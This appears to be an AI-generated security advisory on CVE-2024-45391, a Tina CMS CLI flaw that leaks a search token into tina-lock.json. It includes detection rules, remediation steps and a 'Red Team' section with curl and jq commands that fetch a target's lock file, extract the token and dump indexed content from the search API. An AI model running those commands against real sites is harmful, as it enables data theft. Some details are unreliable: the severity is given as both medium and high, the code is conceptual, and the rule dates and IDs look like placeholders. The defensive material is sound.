CVE-2024-45391

Executive Summary

CVE-2024-45391 is a medium-severity information disclosure vulnerability affecting Tina CMS, an open-source content management system. The flaw resides in the command line interface (CLI) tool, specifically in versions prior to 1.6.2. When a search token is configured, the CLI inadvertently writes this sensitive token into the tina-lock.json lock file. This lock file is often committed to version control systems (e.g., Git) or exposed through misconfigured web servers, allowing an attacker with read access to the file to retrieve the search token. The token can then be used to query the search backend, potentially accessing or exfiltrating indexed content. The vulnerability has a CVSS score of 7.5 (High) due to the ease of exploitation and potential for data exposure. The official fix is to upgrade to @tinacms/cli version 1.6.2 and rotate the search token.

Supply Chain & Package Security

This vulnerability affects the @tinacms/cli npm package. Users of Tina CMS who have integrated search functionality are at risk. The lock file (tina-lock.json) is a standard artifact generated by the CLI and is often included in source code repositories. This creates a supply chain risk where a compromised repository or a public leak of the lock file can expose the search token. The token itself is used to authenticate against the search service (likely Algolia or a similar provider), and its exposure could lead to data breaches or unauthorized access to search indices.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector (AV): Network (N) – The lock file can be accessed remotely if exposed.
• Attack Complexity (AC): Low (L) – No special conditions required; the file is readable.
• Privileges Required (PR): None (N) – No authentication needed to read the file.
• User Interaction (UI): None (N) – No user action required for exploitation.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – The search token is fully disclosed.
• Integrity (I): None (N) – No data modification possible.
• Availability (A): None (N) – No impact on system availability.

Threat Level: High. The vulnerability is trivial to exploit if the lock file is accessible, and the impact on confidentiality is severe.

Deep Dive & Mechanics

The vulnerability originates from the Tina CMS CLI's handling of the search token during the build or initialization process. When a user configures a search provider (e.g., Algolia), the CLI stores the search token in a configuration file. However, due to a coding oversight, this token is also written into the tina-lock.json file, which is a generated lock file intended to track the state of the CMS content and configuration.

The tina-lock.json file is typically located in the root of the Tina CMS project. It is often committed to version control (e.g., Git) to share the CMS state among developers. Additionally, if the web server is misconfigured to serve static files, the lock file might be accessible via a direct URL (e.g., https://example.com/tina-lock.json).

An attacker who gains access to this file can extract the search token. The token is a plaintext string that authenticates requests to the search service. With this token, the attacker can:

• Query the search index to retrieve all indexed content.
• Potentially modify or delete search indices if the token has write permissions.
• Use the token to pivot to other services if the same token is reused.

The fix in version 1.6.2 removes the search token from the lock file output. Additionally, the advisory recommends rotating the search token to invalidate any leaked tokens.

Vulnerable vs. Patched Code

The vulnerable code is in the CLI's lock file generation logic. In versions prior to 1.6.2, the lock file includes the search token as part of the configuration object.

Vulnerable Code (Conceptual):

// In lock file generation (pre-1.6.2)
const lockData = {
  // ... other fields
  search: {
    token: process.env.TINA_SEARCH_TOKEN, // Token is included
    // ... other search config
  }
};
fs.writeFileSync('tina-lock.json', JSON.stringify(lockData, null, 2));

Patched Code (1.6.2+):

// In lock file generation (1.6.2+)
const lockData = {
  // ... other fields
  search: {
    // token is omitted
    // ... other search config (without token)
  }
};
fs.writeFileSync('tina-lock.json', JSON.stringify(lockData, null, 2));

The patch simply removes the token field from the lock file output. Users must also rotate their search token to ensure any previously leaked tokens are invalidated.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Tina CMS site with search configured (vulnerable version < 1.6.2).
• Access to the tina-lock.json file (e.g., via public web directory or version control).

Steps:

1. Locate the lock file: Check for tina-lock.json in the web root or repository.

   curl https://target-site.com/tina-lock.json
   

   Or if using Git:

   git clone https://github.com/target-org/tina-site.git
   cat tina-site/tina-lock.json
   

2. Extract the search token: Parse the JSON to find the token.

   cat tina-lock.json | jq '.search.token'
   

3. Use the token: Query the search API (e.g., Algolia) to exfiltrate data.

   curl -X GET "https://<app-id>.algolia.net/1/indexes/*/query" \
     -H "X-Algolia-API-Key: <extracted-token>" \
     -H "X-Algolia-Application-Id: <app-id>" \
     -d '{"params":"query=&hitsPerPage=1000"}'
   

Expected Outcome: The attacker retrieves all indexed content from the search service.

Blue Team (Defense & Detection)

Detection:

• Monitor for unauthorized access to tina-lock.json files.
• Alert on any external queries to search APIs using tokens that should not be exposed.
• Use file integrity monitoring (FIM) to detect changes to lock files.

Hunting:

• Search version control history for commits containing tina-lock.json with search tokens.
• Review web server logs for requests to tina-lock.json.

Mitigation:

• Immediately upgrade to @tinacms/cli version 1.6.2.
• Rotate the search token.
• Remove tina-lock.json from public web directories and add it to .gitignore.

Indicators of Compromise (IOCs)

• File: tina-lock.json containing a search.token field.
• Network: Unusual API calls to search providers (e.g., Algolia) with high query volumes.
• Logs: Web server access logs showing requests to /tina-lock.json.
• Git: Commits that include tina-lock.json with a search token.

Detection Engineering

YARA Rule

rule tina_cms_search_token_leak {
    meta:
        description = "Detects tina-lock.json files containing a search token"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-45391"
    strings:
        $token_field = /"token"\s*:\s*"[A-Za-z0-9_-]+"/
        $lock_file = "tina-lock.json"
    condition:
        $lock_file and $token_field
}

Sigma Rule

title: Tina CMS Search Token Leak via Lock File
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects access to tina-lock.json which may contain a search token
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45391
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-stem:
            - '/tina-lock.json'
    condition: selection
falsepositives:
    - Legitimate access by administrators
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-45391 Tina CMS Lock File Access"; flow:to_server; content:"GET"; http_method; content:"/tina-lock.json"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade the @tinacms/cli package to version 1.6.2 or later.

   npm update @tinacms/cli@latest
   

2. Rotate the search token via the search provider's dashboard (e.g., Algolia).
3. Remove any existing tina-lock.json files from public directories and version control history.
4. Add tina-lock.json to .gitignore to prevent future commits.

Long-term Measures:

• Implement secrets scanning in CI/CD pipelines to detect tokens in code.
• Use environment variables for sensitive data instead of hardcoding.
• Regularly audit version control history for leaked secrets.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.